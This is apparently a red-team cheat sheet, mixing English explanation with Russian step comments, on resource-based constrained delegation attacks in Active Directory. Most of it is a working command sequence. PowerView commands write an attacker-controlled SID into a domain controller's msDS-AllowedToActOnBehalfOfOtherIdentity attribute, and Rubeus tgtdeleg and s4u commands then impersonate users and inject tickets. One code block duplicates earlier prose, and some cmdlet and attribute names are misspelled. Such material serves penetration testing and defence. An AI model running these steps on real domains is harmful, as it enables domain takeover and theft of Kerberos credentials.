# Resource-based Constrained

If an account, having the capability to edit the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of another object (e.g. the `GenericWrite` ACE, see [Abusing ACLs](https://www.thehacker.recipes/ad/movement/dacl/)), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.

```
that attribute, hence configuring that object for RBCD.

Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.
For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account mu
```

For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see [Kerberos tickets](https://www.thehacker.recipes/ad/movement/kerberos/#tickets) for more information about the following):

* a user account having a `ServicePrincipalName` set
* an account with a trailing `$` in the `sAMAccountName` (i.e. a computer accounts)
* any other account and conduct [SPN-less RBCD](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users) with [U2U (User-to-User) authentication](https://www.thehacker.recipes/ad/movement/kerberos/#user-to-user-authentication)

The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called [`MachineAccountQuota`](https://www.thehacker.recipes/ad/movement/builtins/machineaccountquota) that allows regular users to create up to 10 computer accounts.

### Resource-based Constrained Delegation ACL-based Computer Object Takeover

***Целевой компьютерный объект, который мы захватываем***&#x20;

`$TargetComputer = "dc.here.local"`&#x20;

***Поиск целей с включенной функцией S4U2Self***&#x20;

`Get-DomainObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=16777216)' -Properties samaccountname,useraccountcontrol`&#x20;

***Получить SID атакующего (УЗ с правами на цель)***&#x20;

`$AttackerSID = Get-DomainUser userhere -Properties objectsid | Select -Expand objectsid`&#x20;

***Проверить права GenericWrite на $TargetComputer***&#x20;

`$ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE CovertFrom-SID $ACE.SecurityIdentifier`

`$ACE`

`CovertFrom-SID $ACE.SecurityIdentifier`

***Контролируемая нами УЗ, которой мы хотим предоставить S4U доступ к цели***

`$S4UIdentity = "domain\target"`

***Преобразовать идентификатор в идентификатор безопасности***

`$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $S4UIdentity).Translate([System.Security.Principal.SecurityIdentifier])).Value`

***Подставить идентификатор безопасности в исходный SDDL***

`$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"`

***Получить двоичные байты для SDDL***

`$SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)`

***Установить новый дескриптор безопасности для 'msds-lowedtoactonbehalfofotheridentity'***

`Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose`

***Проверить правильность добавления ACE***

`$RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity`

`$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0`

`$Descriptor.DiscretionaryAcl`

`ConvertFrom-SID $Descriptor.DiscretionaryAcl.SecurityIdentifier`

***На цели где включён S4U2Self***

```powershell
$out = (cmd /c C:\Users\Public\Rubeus.exe tgtdeleg /nowrap) | Out-String

$ticket = (print $out | select -last 2 | select -first 1).trim()

$ticket | Out-File -FilePath C:\Users\Public\ticket.txt

```

```powershell
./Rubeus.exe tgtdeleg /nowrap
```

```powershell
./Rubeus.exe s4u /user:user /impersonateuser:user /ticket:$ticket /msdsspn:"cifs/domain.here.local" /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman /ptt
```
